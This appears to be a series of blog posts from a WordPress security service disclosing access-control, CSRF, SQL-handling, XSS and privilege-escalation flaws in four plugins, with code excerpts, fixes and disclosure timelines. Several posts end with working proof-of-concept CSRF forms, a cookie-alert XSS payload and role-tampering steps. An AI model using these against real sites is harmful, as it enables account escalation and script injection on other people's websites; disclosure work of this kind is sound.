12 Jun

Privilege Escalation Vulnerability in Quttera Web Malware Scanner

One of the big problems we see in trying to improve security is that so often security companies are promoting product and services that they claim will protect websites, but really only try to deal with the after effects of them being hacked. What seems like could explain a lot of that is that most of those companies don’t know or care about security and they are just trying to make a buck with little to no concern whether they are providing anything of value in exchange for that money. One of the things that seems to back that up is how often security companies fail to handle basic security when it comes to their own websites and product/services.

The latest example of that was something we ran across while discussing an example of security companies’ frequent misleading to outright false claims made about their products and services. As discussed over at our main blog the makers of the plugin Quttera Web Malware Scanner had recently claimed that the plugin had over 400,000 installations despite it actually only having 10,000+ active install according to wordpress.org. After running across that we started to take a quick look at the plugin’s security and immediately found it was failing to take some basic security measures.

The plugin makes a number of functions available through WordPress’ AJAX functionality to anyone logged in to WordPress:

42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
add_action( 'wp_ajax_scanner-run_scan', 'CQtrAjaxHandler::RunExternalScan' );
 
 
/*
 * setup action @scanner-run_internal_scan mapped to callback qtr_wm_scanner_ajax_run_internal_scan
 * wp_ajax_ prefix used only for logged in users
 */ 
add_action( 'wp_ajax_scanner-run_internal_scan', 'CQtrAjaxHandler::RunInternalScan' );
 
add_action( 'wp_ajax_scanner-is_internal_scan_running', 'CQtrAjaxHandler::IsInternalScanNowRunning' );
 
add_action( 'wp_ajax_scanner-get_log_lines', 'CQtrAjaxHandler::GetLogLines' );
 
add_action( 'wp_ajax_scanner-clean_log', 'CQtrAjaxHandler::CleanLogLines' );
 
add_action( 'wp_ajax_scanner-get_stats', 'CQtrAjaxHandler::GetStats' );
 
add_action( 'wp_ajax_scanner-stop_internal_scan', 'CQtrAjaxHandler::StopInternalScan' );
 
add_action( 'wp_ajax_scanner-get_detected_threats', 'CQtrAjaxHandler::GetDetectedThreatsReport' );
 
add_action( 'wp_ajax_scanner-get_ignored_threats', 'CQtrAjaxHandler::GetIgnoredThreatsReport' );
 
add_action( 'wp_ajax_scanner-ignore_threat', 'CQtrAjaxHandler::IgnoreThreat' );
 
add_action( 'wp_ajax_scanner-get_file_report', 'CQtrAjaxHandler::ScannerReport' );
 
/* 
 * return threat back to report
 */
add_action( 'wp_ajax_scanner-unignore_threat', 'CQtrAjaxHandler::RemoveFromIgnoreList' );
 
add_action( 'wp_ajax_scanner-clean_ignore_list', 'CQtrAjaxHandler::CleanIgnoreList');
 
add_action( 'wp_ajax_scanner-whitelist_threat','CQtrAjaxHandler::WhiteListThreat' );
 
add_action( 'wp_ajax_scanner-clean_threats_whitelist', 'CQtrAjaxHandler::CleanThreatsWhiteList');
 
add_action( 'wp_ajax_scanner-whitelist_file', 'CQtrAjaxHandler::WhiteListFile');
 
add_action( 'wp_ajax_scanner-clean_files_whitelist', 'CQtrAjaxHandler::CleanFilesWhiteList');

The plugin’s admin pages, where at least most of those are intended to be accessed from, is only accessible to those with the “activate_plugins” capability, which would normally be only Administrator-level users. So there should be a check to make sure that users requesting those have that capability.

The first of the functions RunExternalScan() was restricted to those with the “manage_options” capability, which is also normally a capability only Administrator-level users have:

32
33
34
35
36
37
public static function RunExternalScan()
{
	if(!current_user_can('manage_options'))
	{
		wp_die(__('You do not have sufficient permissions to access this page.') );
	}

But that was missing from other functions. For example the GetLogLines() contains no check, so anyone logged in to WordPress could access it:

237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
public static function GetLogLines()
{
	$index  = 0;
	$logger = new CQtrLogger();
 
	if( isset( $_GET['start_line']) ) 
	{
		$index = intval( $_GET['start_line']);
	}
 
	else if( isset( $_POST['start_line']) ) 
	{
		$index = intval( $_POST['start_line']);
	}
 
 
	// $lines = $logger->GetFromLine($index);
	$lines = $logger->GetAllLines();
	echo json_encode($lines);
	exit();
}

In that case of that function, it would lead to a full path disclosure since it will display the full path to files that have been scanned.

What also was missing in all the functions we looked at was protection against cross-site request forgery (CSRF), so an attacker could cause someone logged in to WordPress to access the various functions without intending it.

After we notified the developer they released version 3.0.9.1, which partially resolves this.

The new version introduces a function __can_access() that ends the running of the code using exit() if the user doesn’t have the “manage_options” capability:

32
33
34
35
36
private static function __can_access(){
	if(!current_user_can('manage_options')){
		wp_die(__('You do not have sufficient permissions to access this page.') );
	}
}

That function is called first when those AJAX accessible functions mentioned above are run. Here, for example, is that with GetLogLines():

231
232
233
public static function GetLogLines()
{
	self::__can_access();

There still is a lack of protection against CSRF.

Proof of Concept

The following proof of concept will show the last few log lines from the plugin’s scanner, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=scanner-get_log_lines

Timeline

  • June 7, 2018 – Developer notified.
  • June 7, 2018 – Developer responds.
  • June 8, 2018 – Version 3.0.9.1 released, which partially fixes the issue.
07 Feb

Vulnerability Details: Privilege Escalation Vulnerability in Accelerated Mobile Pages

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

A little less than a month ago the plugin Accelerated Mobile Pages was removed from the Plugin Directory for a ...


Our Vulnerability Details posts provide the details of vulnerabilities we didn't discover and access to them is limited to customers of our service due to other security companies trying to sponge off the work needed to create those instead of doing their own work.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

19 Dec

Is This What a Hacker Would Be Targeting the Table Maker Plugin For?

Last week we mentioned that we had recently seen what looked to be probing for the usage of the SendinBlue Subscribe Form And WP SMTP and another plugin. That other plugin is Table Maker, which we had been seeing requests for its readme.txt like this: /wp-content/plugins/table-maker/readme.txt. One of the few possible explanations for requests like that is that someone is probing for usage of the plugin to know what websites to exploit through a vulnerability in the plugin.

In SendinBlue we found a SQL injection vulnerability that matches claims of hackers targeting SQL injection vulnerabilities in code whose result is then passed to the unserialize() function. We have yet to see any evidence that the claims are true, but whether they are true or not, it might explain a hacker’s interest (hackers have been known to target vulnerabilities that don’t actually exist). In looking over Table Maker we found several security issues that involve code around a similar issue, but we didn’t find something that would be obvious for a hacker to exploit. If you see some other issues that hackers might be targeting we would love to hear about it.

Update (December 20): Thanks to some help from J.D. Grimes in the comments of this post, we have now figure out how PHP object injection could have occurred through SQL injection issue mentioned later in the post, which seems like it would be what a hacker would have been interested targeting in the plugin.

Unlike SendinBlue the developer of Table Maker has now fixed the issues we noticed.

As of version 1.6, the function get() in /inc/class-wpsm-db-table.php improperly handled the security of a SQL statement that had its result unserialized:

94
95
96
97
98
99
100
101
102
103
public function get($id){
	if( is_array($id) ){
		$id = sprintf('(%s)', implode(',', $id));
	}
	else {
		$id = sprintf('(%d)', $id);
	}
	$row = $this->db->get_row("SELECT * FROM $this->table_name WHERE id IN $id", ARRAY_A);
	if($row){
		$row['tvalues'] = $this->unserialize($row['tvalues']);

Since the value of $id can come from user input, a prepared statement should be used when generating the SQL statement in that to prevent the possibility the input could include SQL code that would run when SQL statement in it is processed. We couldn’t find a way that could be exploited though, since unless you can cause the value of $id to be seen as an array, it is limited to an integer in the SQL statement. In version 1.9 that was changed to use a prepared statement:

93
94
95
96
97
public function get($id){
	$query = $this->db->prepare("SELECT * FROM $this->table_name WHERE id IN (%d)", $id);
	$row = $this->db->get_row($query, ARRAY_A);
	if($row){
		$row['tvalues'] = $this->unserialize($row['tvalues']);

We should note here that unserialize being used in the above code is not PHP’s, but this:

123
124
125
private function unserialize($item){
	return unserialize(base64_decode($item));
}

When we looked around at where that function gets called and therefore what the value being passed to it could be, we noticed another security issue.

The function xml_download() ran when WordPress generates pages as it ran once WordPress has loaded activated plugins:

30
add_action('plugins_loaded', array($this, 'xml_download'));

That function then allowed anyone access to the get() function:

395
396
397
function xml_download() {
	if(isset($_POST['wpsm-export-table'])) {
		$result = $this->db->get( $_GET['table'] );

We didn’t see away that could pass something that is seen as an array with that.

That function will export an XML copy of a table made through the plugin. The only place it looks like their UI for doing that is in the plugin’s admin page, which was usually limited to only those logged in as Administrators, while the code allows even those not logged in to do that export. That would probably be of little concern if all of the tables are publicly accessible, but in other instances it could be of more concern. The lack of proper restrictions on access to the plugin’s admin functionality was not restricted to this code though.

That was fixed by moving its functionality in the next piece of code we will focus on.

After looking at how it might be possible to cause SQL injection occur in the code shown earlier, we started looking at if it would be possible for an attacker to set the value that would be pulled from the database and the unserialized instead.  What we found as we looked over things is that the plugin had handled requests in the admin area insecurely in way that is common enough that just that type of issue is something that we know check for during security reviews of plugin that we do as part of our service and separately.

The plugin registered the function handle_requests() to run during admin_init:

29
add_action( 'admin_init', array($this, 'handle_requests') );

What is very important to understand about that is that when accessing certain URLs that will cause the function to run even if the requester was not logged in to WordPress. That can lead to serious issue if the code does not have proper security checks in place, which was the case with this plugin.

The only restriction before getting to functionality of that function was to check to see if the function is_plugin_page() returns true:

305
306
307
public function handle_requests() {
	if( !$this->is_plugin_page() )
		return;

All of the things that checked can be true without being logged in:

299
300
301
302
303
private function is_plugin_page() {
	if( !is_admin() || !isset($_GET['page']) || $this->page_slug != $_GET['page'] || (!isset($_GET['action']) && !isset($_GET['action2'])) )
		return false;
	return true;
}

The rest of the code in handle_requests() allows for adding, editing, deleting, and importing tables into the plugin.

As far as we could find though that wouldn’t allow for setting a value passed to unserialize() that could be used for PHP object injection though. Though maybe someone else sees how that can be done, so let’s go through an example of what happens in that function.

Here is the code in it for adding a new table:

312
313
314
315
316
317
318
319
if($_GET['action'] == 'add' && isset($_POST['wpsm-create-table'])){
	if (!isset ($_POST['table_respon'])) {$_POST['table_respon'] = '';}
	$result = $this->db->add( $_POST['table_name'], $_POST['table_rows'], $_POST['table_cols'],  $_POST['table_subs'], $_POST['table_color'], $_POST['table_respon'], $_POST['table_values'] );
	if($result){
		$sendback = add_query_arg( array( 'page' => $_GET['page'], 'action' => 'edit', 'table' => $result, 'added' => true ), '' );
		wp_redirect($sendback);
	}
}

The POST input “table_values” is the starting place for the “tvalues” being unserialized in the other code. When the function that is passed to, add(), it gets run through serialize():

51
52
53
54
55
56
57
58
59
60
public function add($name, $rows, $cols, $subs, $color, $responsive, $tvalues){
	$name 	= wp_strip_all_tags(wp_unslash($name));
	$rows 		= intval(wp_unslash($rows));
	$cols 		= intval(wp_unslash($cols));
	$subs 		= strval(wp_unslash($subs));
	$color 		= strval(wp_unslash($color));
	$responsive 		= intval(wp_unslash($responsive));
	$tvalues 	= $this->serialize(wp_unslash($tvalues));
 
	$result = $this->db->insert( $this->table_name, array('name' => $name, 'rows' => $rows, 'cols' => $cols, 'subs' => $subs, 'color' => $color, 'responsive' => $responsive, 'tvalues' => $tvalues ) );

Like unserialize, that is not the PHP version, but this:

119
120
121
private function serialize($item){
	return base64_encode(serialize($item));
}

We didn’t see how we could pass a value that would cause PHP object injection through that code, since it would need to be unserialized when passed through it.

The ability to add or edit tables also allowed persistent cross-site scripting (XSS) to occur.

In version 1.9 the rest of the code in the function handle_request() will only run if the user has the “publish_posts” capability and they are visiting plugin’s admin page:

298
299
300
public function handle_requests($current_screen) {
 
	if(current_user_can('publish_posts') && $current_screen->base == 'toplevel_page_wpsm_table_maker') { //Check if user have enough rights

There was code added to prevent cross-site request forgery (CSRF) when taking actions through that.

As we were preparing this post we noticed that because Author level users can now access the admin page for the plugin (they were previously limited Administrator users), there is an issue with authenticated cross-site scripting (XSS), which we will be notify them of.

Wider Warning

Due to the fact that the privilege escalation issue might be being targeted by hackers (and it impacted all previous version) we are adding it to the free data that comes with our service’s companion plugin, so that even those not using our service yet can be warned if they are using an older version of the Table Maker.

Proof of Concepts

Information Disclosure

The following proof of concept will cause an XML copy of a specified table to be offered for download.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[table ID]” with the ID of table to be downloaded.

<html>
<body>
<form action="http://[path to WordPress]/?table=[table ID]" method="POST">
<input type="hidden" name="wpsm-export-table" />
<input type="submit" value="Submit" />
</form>
</body>

Privilege Escalation

The following proof of concept will create a new table.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action='http://[path to WordPress]/wp-admin/admin-post.php?page=wpsm_table_maker&action=add&action2=' method="POST">
<input type="hidden" name="wpsm-create-table" />
<input type="hidden" name="table_name" value="Test" />
<input type="hidden" name="table_values" value="Test" />
<input type="submit" value="Submit" />
</form>
</body>

Persistent Cross-Site Scripting (XSS)

The following proof of concept will cause any available cookies to be shown in an alert box when visiting the page /wp-admin/admin.php?page=wpsm_table_maker.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action='http://[path to WordPress]/wp-admin/admin-post.php?page=wpsm_table_maker&action=add&action2=' method="POST">
<input type="hidden" name="wpsm-create-table" />
<input type="hidden" name="table_name" value="Test" />
<input type="hidden" name="table_values" value="Test" />
<input type="hidden" name="table_subs" value='<script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • December 12, 2017 – Developer notified.
  • December 13, 2017 – Developer responds.
  • December 18, 2017 – Version 1.9, which fixes issues.
21 Jun

Privilege Escalation Vulnerability in Simplr Registration Form Plus+

We recently had a request for a file from the plugin Simplr Registration Form Plus+, /wp-content/plugins/simplr-registration-form/assets/simplr_reg.js, on one of our websites. A request for a file from plugin that isn’t installed on a website is usually an indication that someone is probing for usage of a plugin to try to exploit a vulnerability in it. After seeing the request we went looking for what the hacker might be looking to exploit in the plugin so that we could make sure it was in our data set. Since the plugin handles registering users a security issue with it is a big concern. We didn’t have  any vulnerabilities for the plugin already in our data set, we couldn’t find any public reports of vulnerabilities, and the plugin hasn’t been updated in five months so a vulnerability wasn’t recently fixed in it. At that point we started to review the plugin for a security vulnerability that hackers might be interested in exploiting.

After looking for some common items that we have been seeing as causing many security issues and not finding any of those issues in this plugin, we moved on to the user registration capability since a problem with that is something that a hacker would be interested in exploiting.

We first noticed that it was possible for Author level users to create a registration where the role of the new user is an Editor, which is higher level user. So right there you have a privilege escalation vulnerability, though not something that would seem to be interest to hackers as their ability to gain access to an Author level account would be limited.

While looking into that issue we realized that there much larger related issue. When some is registering an account through the plugin they can control what role there account will have through the POST input “atts[role]”.

The only limit that plugin imposes is that you can set the role to that of an Administrator:

125
126
127
128
129
$role = @$atts['role'];
if('' == $role) { $role = 'subscriber'; }
if('administrator' == $role) { wp_die('Do not use this form to register administrators'); }
if ( version_compare($wp_version, "3.1", "&lt;" ) ) {
	require_once(ABSPATH . WPINC . '/registration.php' );

You can set it to the Editor role, which gives you access to the unfiltered_html capability so you use the access possible for persistent cross-site scripting (XSS).

Proof of Concept

Add a user registration form to a post or page using the shortcode “[register role=”contributor” password=”yes” fields=””]”. While on the page with the newly added user registration form use the developer tools of your web browser to edit the line

<input type=”hiddenname=”atts[role]value=”contributor” />

to

<input type=”hiddenname=”atts[role]value=”editor” />

Fill out the required form fields and thenregister the account. You will now have an editor level account on the website.

Timeline

  • 6/18/2016 – Developer notified.
  • 6/21/2016 – WordPress.org Plugin Directory notified.
  • 6/28/2016 – Removed from Plugin Directory.
12 Apr

Privilege Escalation Vulnerability in Robo Gallery

While reviewing a false report of a vulnerability in the Robo Gallery plugin today we noticed the plugin actually had a privilege escalation vulnerability in the code mentioned in that other report. In version 2.0.15, and some prior versions, the function rbs_gallery_ajax_callback in the file /includes/rbs_gallery_ajax.php allows anyone logged in to WordPress to access the functions in the file /includes/extensions/rbs_create_post_ajax.php, which not all levels of users should have access to.

In version 2.0.15 an attempt was made to stop this by restricting access to the function rbs_gallery_ajax_callback to administrators using the the function is_admin(). The problem with that is that the function doesn’t actually doesn’t check if a user is an administrator. Instead it checks if “if the Dashboard or the administration panel is attempting to be displayed”. Since it “will return true when trying to make an ajax request (both front-end and back-end requests)”, this had no impact in this situation since it involves an ajax request.

Proof of Concept

The following proof of concept will reset a gallery’s view count to 0.

Make sure you are logged in to WordPress, ideally as a subscriber since they have the least capabilities. Also, make sure to replace “[path to WordPress]” with the location of WordPress and “[id of gallery]” with the ID of the gallery you are resetting the view count of.

<html>
<head>
</head>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=rbs_gallery" method="post">
<input type="hidden" name="function" value="reset_views" />
<input type="hidden" name="galleryid" value="[id of gallery]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 4/12/2016 – Developer notified the issue has not been resolved.
  • 4/12/2016 – Developer responds that fix forthcoming.
  • 4/16/2016 – Version 2.0.17 released, which fixes vulnerability.